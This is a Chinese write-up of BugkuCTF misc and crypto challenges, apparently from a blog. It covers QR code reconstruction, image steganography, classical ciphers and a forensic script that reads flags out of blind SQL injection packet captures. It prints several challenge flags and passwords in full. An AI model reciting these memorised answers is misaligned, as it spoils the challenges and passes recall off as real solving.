前两种方法试了行不通,转为二进制数后发现长度是625,即25*25,然后试着转为二维码

import PIL
from PIL import Image
MAX = 25  #图片边长
img = Image.new("RGB",(MAX,MAX))
str="1111111001110111001111111100000100001101010100000110111010011100101010111011011101010110000101011101101110101010111010101110110000010011001101010000011111111010101010101111111000000000100101000000000011000111011010110000110001000000010100001010111100001011110101100111110011100101101001100101010010111000101011100100101101001111110000110101011110011010000010010001011100001111000010011101010110001100101110101000111011111010100000000110001101000110001111111011001100101010101100000101111001110001100010111010011100011111101111011101001101111011010011101110100010011010010010110000010100011010011110011111111011011100101010001"
i = 0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(str[i] == '1'):
            img.putpixel([x,y],(0, 0, 0))
        else:
            img.putpixel([x,y],(255,255,255))
        i = i+1
img.show()
img.save("flag.png")

扫码得到flag

粗心的佳佳

下载得到3个文件
在这里插入图片描述
预期解法应该是根据图片写出脚本,把混淆过的二维码恢复,我发现照着password.png也能看出原本的二维码大概长啥样

手动修复得到
BugkuCTF 部分题解(持续更新)_第140张图片
扫码得到IXE1VDYmMjk=,base64解码得到压缩包密码!q5T6&29

password.png中foremost分离出压缩包,解压得到文本内容如下
BugkuCTF 部分题解(持续更新)_第141张图片
目前知道这是背包加密,翅膀师傅的博客有提到,具体解法再研究一下…

简单套娃

这题是八神出的,致敬套娃带师Mumuzi

用winhex打开图片,发现有两个jpg的文件头,手动把第二个FFD8FFE0直到结尾的数据提取出来,另存为一个jpg文件。
BugkuCTF 部分题解(持续更新)_第142张图片
发现得到的新图片和原图看起来好像一样,于是用Stegsolve打开新得到的图片,依次查看图层可以看到flag,一个图层看不清可以尝试其他的
BugkuCTF 部分题解(持续更新)_第143张图片

flag{Mumuzi_the_God_of_Matryoshka}

闹酒狂欢

下载得到一串像是十六进制的文本

EF81B5EF81B3EF81A9EF81AEEF81A7EF80A0EF8193EF81B9EF81B3EF81B4EF81A5EF81ADEF80BB0A0AEF81AEEF81A1EF81ADEF81A5EF81B3EF81B0EF81A1EF81A3EF81A5EF80A0EF8183EF81AFEF81AEEF81B3EF81AFEF81ACEF81A5EF8181EF81B0EF81B0EF80B10AEF81BB0AEF80A0EF80A0EF80A0EF80A0EF81A3EF81ACEF81A1EF81B3EF81B3EF80A0EF8190EF81B2EF81AFEF81A7EF81B2EF81A1EF81AD0AEF80A0EF80A0EF80A0EF80A0EF81BB0AEF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF81B3EF81B4EF81A1EF81B4EF81A9EF81A3EF80A0EF81B6EF81AFEF81A9EF81A4EF80A0EF818DEF81A1EF81A9EF81AEEF80A8EF81B3EF81B4EF81B2EF81A9EF81AEEF81A7EF819BEF819DEF80A0EF81A1EF81B2EF81A7EF81B3EF80A90AEF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF81BB0AEF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF8183EF81AFEF81AEEF81B3EF81AFEF81ACEF81A5EF80AEEF8197EF81B2EF81A9EF81B4EF81A5EF818CEF81A9EF81AEEF81A5EF80A8EF80A2EF8182EF81B5EF81A7EF81ABEF81B5EF81BBEF8197EF80B0EF81B2EF81A4EF819FEF80B1EF81B3EF819FEF81B4EF81A8EF81A5EF819FEF81A2EF81A5EF80B5EF81B4EF819FEF8189EF8184EF8185EF81BDEF80A1EF80A2EF80A9EF80BB0A0AEF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF81BD0AEF80A0EF80A0EF80A0EF80A0EF81BD0AEF81BD

转字符,得到一堆阴间字符(后面发现这个在线网站不行)
在这里插入图片描述
这个怪怪的题目名肯定是某种提示,百度闹酒狂欢没有线索,回想起上次做棋圣师傅的题,于是把题目名翻译成英文wingding,再次百度,发现这是一种字体,word中就有
BugkuCTF 部分题解(持续更新)_第144张图片
测试了几次,发现两种方法:

方法一

先到在线网站把hex转str,然后新建一个word文档,把得到的结果复制进去,字体换成SansSerif,得到
BugkuCTF 部分题解(持续更新)_第145张图片

方法二

前面步骤一样,最后一步把字体换成Webdings,然后把结果复制,放到qq的对话框里,得到
BugkuCTF 部分题解(持续更新)_第146张图片

知否

阿狸师傅的题,之前放在ctfshow平台的,当时也在群里也看到了狸师傅给的提示

用stegsolve打开,在Red和Green通道的最低位发现
BugkuCTF 部分题解(持续更新)_第147张图片
先写个小脚本确认左边这一块的宽度为80,高度为715;同时发现R通道和G通道的值基本是0或1,但是有少部分其他数字,结合原图中的“绿肥红瘦”是提示G通道取余后的值大于R通道取余后的值,这是一个条件,满足则值为1,不满足则值为0

脚本:

from PIL import Image
img = Image.open('file.png')
f=open("1.txt","w")
flag=""
for i in range(80):#从左到右
    for j in range(715):#从上往下
        x=img.getpixel((i,j))
        if x[0]%2 < x[1]%2:
            flag+="1"
        else:
            flag+="0"
        if len(flag)==8:
            s=hex(int(flag,2))[2:].zfill(2)#如果hex的结果为0xd,不加zfill()函数的话写入的是d,但是写入0d才是正确的,zfill()函数可以补前面的0
            f.write(s)
            flag=""
f.close()

将得到的十六进制转为png图片即可得到flag

blind_injection

下载得到一个sql盲注的流量包,导出http对象,大小为704byte的包是正确的,将其全部导出
在这里插入图片描述
我本来是想把这些包全部保存,然后写脚本提取出flag的…后来发现好像直接看更快
BugkuCTF 部分题解(持续更新)_第148张图片
flag:flag{e62d3da86fe34a83bbfbdb9d3177a641}

blind_injection2

先把HTTP对象全部导出,存于一文件夹下

然后脚本直接梭

# -*- coding: utf-8 -*-
# @Time : 2021/3/20
# @Author : volcano

import os
from urllib.parse import unquote
import re

def getflag():
    getname()
    flag=""
    l=[]
    d={
     }
    renum=re.compile(r'\d+')  #re库用的不熟,大佬们直接就一个正则解决问题,我菜鸡只能搞的复杂一点
    f=open("name.txt","r").readlines()
    for line in f:
        line = line[4:]  #排除第一个=的影响
        if "substr" in line and "=" in line:  #判断盲注结果是否正确
            l=renum.findall(line)
            if l[1] == "2":
                d[int(l[3])]=chr(int(l[5]))
    for i in range(len(d)):
        flag += d[i+1]
    return flag

def getname():
    filePath = r'C:\Users\Desktop\123' #存放导出的http流的文件夹
    f = open("name.txt", "w")
    for a, b, c in os.walk(filePath):
        for i in c:
            f.write(unquote(i, 'utf-8'))  #url解码
            f.write("\n")
    f.close()
if __name__ == '__main__':
    print("flag is:",getflag())

北有楠木

010editor打开得到的jpg,在尾部发现大量数据
BugkuCTF 部分题解(持续更新)_第149张图片
继续翻看,发现其中有ahu.rarhint.txtkey.png三个文件,并且出现了很多个7z,根据之前做题的经验(参考题目Find me)

把下列7个位置的数据改成504B,再把修改后的数据导出,新建为一个zip文件
BugkuCTF 部分题解(持续更新)_第150张图片
在这里插入图片描述
hint.txt:

5Y+k6ICB55qE5paH5a2X

base64解密得到: 古老的文字

key.png:
BugkuCTF 部分题解(持续更新)_第151张图片
这个是甲骨文里的数字,对照图标得到压缩包密码:14582978
BugkuCTF 部分题解(持续更新)_第152张图片
拿到一个bmp,先用stegslove查看,没有线索,然后尝试wbs43open
在这里插入图片描述
解密出的文件放在winhex里分析,初看像是一堆乱码
BugkuCTF 部分题解(持续更新)_第153张图片
尝试搜索flag、key等关键字,找到key:988%^&*cool
在这里插入图片描述
不得不说,有套神内味了
BugkuCTF 部分题解(持续更新)_第154张图片
这里是AES加密,在线解密的时候出了点问题,于是用openssl解密
在这里插入图片描述
解出的内容,音符解密在线网站

∮♩§∮♫♯∮♪♬∮♪∮∮♫♯∮♫‖∮♩‖∮♪♩∮♫♬∮♫♬∮¶♬∮♫♬∮♭§∮¶♬∮♩§∮♪♩∮¶§∮♫♯∮♫§∮♪♯∮¶♭♪‖∮∮∮¶∮¶♬§¶♬∮♪♭∮♪♫∮¶♬∮♭♯∮♪♭∮♫§∮♪♩∮♫¶∮♪♩∮♫♬♪‖♪§¶♯∮♪♭∮♪♬∮♩∮§==
♬§¶♪¶♪¶♯♯=

这里有一个坑点,直接解密的话会得到一堆乱码,因为这里其实是两条加密信息,看结尾的=也能分辨出来

先无密码解密第二条,得到第一条的密码cool,再解密第一条

拿到flag

1和0的故事

题目给了一串由1和0组成的字符串,猜想是转二维码,直接转得到的二维码不完整,扫不出来。

手动改,得到

1111111001110010001111111100000100001111010100000110111010011100010010111011011101010111100001011101101110101010101000101110110000010011000101010000011111111010101010101111111000000000100000110000000011000111011101101000110000001000010110010010010100010011110100001110111001100111101001010110010010011000001001100001001101000111100011111101110010100010110111110011011111101111000110110010010101101100100011110011111111111011100000000101100011000101001111111010010100101010001100000101010101010001100110111010001001111111100101011101000011001011110111101110100100110010010000110000010110000110110110011111111011010000101110101

然后转二维码

import PIL
from PIL import Image
MAX = 25  #图片边长
img = Image.new("RGB",(MAX,MAX))
str='1111111001110010001111111100000100001111010100000110111010011100010010111011011101010111100001011101101110101010101000101110110000010011000101010000011111111010101010101111111000000000100000110000000011000111011101101000110000001000010110010010010100010011110100001110111001100111101001010110010010011000001001100001001101000111100011111101110010100010110111110011011111101111000110110010010101101100100011110011111111111011100000000101100011000101001111111010010100101010001100000101010101010001100110111010001001111111100101011101000011001011110111101110100100110010010000110000010110000110110110011111111011010000101110101'
i = 0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(str[i] == '1'):
            img.putpixel([x,y],(0, 0, 0))
        else:
            img.putpixel([x,y],(255,255,255))
        i = i+1
img.show()
img.save("flag.png")

再扫描即可得到flag

这题也可以去在线网站手动拼出正确的二维码

easy_nbt

随便翻了一下,发现好像是Minecraft的存档文件,虽然这个游戏我不玩…

根据题目名,找到一款工具NBTExplorer

然后用这个工具打开level.dat
BugkuCTF 部分题解(持续更新)_第155张图片
具体位置如下(flag在玩家的书中最后一页,Inventory 里面就是玩家背包内的物品)BugkuCTF 部分题解(持续更新)_第156张图片
翻到下面就可以看到flag

Cyrpto

你喜欢下棋吗

这个师傅可喜欢下棋了,一口气出了好多跟围棋相关的题

下载得到一个加密的压缩包和有提示信息的txt:

你喜欢下棋吗?
解压密码为小写
4423244324433534315412244543

这里的话是棋盘密码的一种–波利比奥斯方阵密码
BugkuCTF 部分题解(持续更新)_第157张图片
用在线工具解密(秘钥随便填),得到thisispolybius

解出的flag.txt:

一种5bit的编码
bugku里面的内容为小写
bugku{11111 11001 00011 00111 01001 11011 10110 11111 10000 01110 11011 10110 11111 01001 00001}

这个是博多码,对照表格即可

你以为是md5吗

给了一串长度为35的字符串

bci177a7a9c7udf69c248647b4dfc6fd84o

md5值由0-9和a-f组成,长度为32,删去多余的三个字符得到

bc177a7a9c7df69c248647b4dfc6fd84

md5在线解密即可

把猪困在猪圈里

下载得到一个文本文件,很明显是base64转图片
BugkuCTF 部分题解(持续更新)_第158张图片
解出的图片如下,使用猪圈密码解密在线工具得到flag
在这里插入图片描述

小山丘的秘密

下载得到一个文本

bugku{PLGTGBQHM}
其中A=1,flag全为小写

和图片
BugkuCTF 部分题解(持续更新)_第159张图片
由题目提示可知这是希尔(hill)密码,解密在线工具

一般情况下的字母表是abcdefghijklmnopqrstuvwxyz,A对应0、B对应1

这题明确说A是1,所以需要更换字母表为zabcdefghijklmnopqrstuvwxy

图中对应的数字为1 2 3 0 1 4 5 6 0,对应字母abczadefz

解密得到flag
BugkuCTF 部分题解(持续更新)_第160张图片

EN-气泡

给了一个文本

xivak-notuk-cupad-tarek-zesuk-zupid-taryk-zesak-cined-tetuk-nasuk-zoryd-tirak-zysek-zaryd-tyrik-nisyk-nenad-tituk-nysil-hepyd-tovak-zutik-cepyd-toral-husol-henud-titak-hesak-nyrud-tarik-netak-zapad-tupek-hysek-zuned-tytyk-zisuk-hyped-tymik-hysel-hepad-tomak-zysil-nunad-tytak-nirik-copud-tevok-zasyk-nypud-tyruk-niryk-henyd-tityk-zyral-nyred-taryk-zesek-corid-tipek-zysek-nunad-tytal-hitul-hepod-tovik-zurek-hupyd-tavil-hesuk-zined-tetuk-zatel-hopod-tevul-haruk-cupod-tavuk-zesol-ninid-tetok-nasyl-hopid-teryl-nusol-heped-tovuk-hasil-nenod-titek-zyryl-hiped-tivyk-cosok-zorud-tirel-hyrel-hinid-tetok-hirek-zyped-tyrel-hitul-nyrad-tarak-hotok-cuvux

第一次见这种加密,题目名的气泡应该是加密方法的提示,但是百度了一波没找到,最后看到有人提示说这是BubbleBabble加密,使用工具CaptfEncoder

解密三次得到flag
BugkuCTF 部分题解(持续更新)_第161张图片

抄错的字符

描述:老师让小明抄写一段话,结果粗心的小明把部分数字抄成了字母,还因为强迫症把所有字母都换成大写。你能帮小明恢复并解开答案吗:QWIHBLGZZXJSXZNVBZW

除此之外没有任何提示,只能一点点分析,小明把部分数字抄成了字母

对应下列几种可能:

大写字母:I->1 B->8 Z->2 S->5

下面的这些最后发现没用上
小写字母:q->9 i->1 b->6 l->1 z->2 s->5

可以发现如果小明把部分数字抄成字母的时候,同时有大写和小写字母,很明显会产生冲突(b和B),同时小写字母对应的情况更多更复杂,这题只有10分

所以先只考虑把数字抄成大写字母对应的四种情况,这四个大写字母在字符串里出现了7次,对应有3^7种可能性,所以原字符串的组成方式共有12^2*3^7=314928

列出来的结果是由大写字母小写字母数字组成的,直接看看不出有什么意义,猜想是base64加密,这里就写脚本慢慢跑,最后得出正确的结果QW1hbl92ZXJ5X2Nvb2w

base64解密即可得到flag

黄道十二宫

wp同2021年“春秋杯”新年欢乐赛–十二宫的挑衅

flag{alphananke}

你懂我的乐谱吗?

直接给了一张图,我开始把这个当图片隐写去做的,后面才发现这不是杂项
BugkuCTF 部分题解(持续更新)_第162张图片
前有棋圣师傅考围棋,现在又有师傅考乐谱了…

我不了解这个,拿去问了学音乐的同学,了解到这个是五线谱,还给我找了一张五线谱和简谱的对照表
在这里插入图片描述
貌似前进了一大步,但是这两个图看起来好像毫无关联,再次求助,下面原图翻译得来的简谱
BugkuCTF 部分题解(持续更新)_第163张图片
对照表格,外面套一层flag{},得到假的flag

flag{AGCBDGGACFFEDGGCCECCGB}

开始完全不知道哪里错了,后面偶然发现,如果用1代表A2代表B,这样顺序排列,排到5(上面加两个点)代表S,因为只出现过这些音符

这样替换,得到:

FLAGISEMARKCISSOACHHLG
即:flag{EMARKCISSOACHHLG}

你可能感兴趣的:(#,bugku)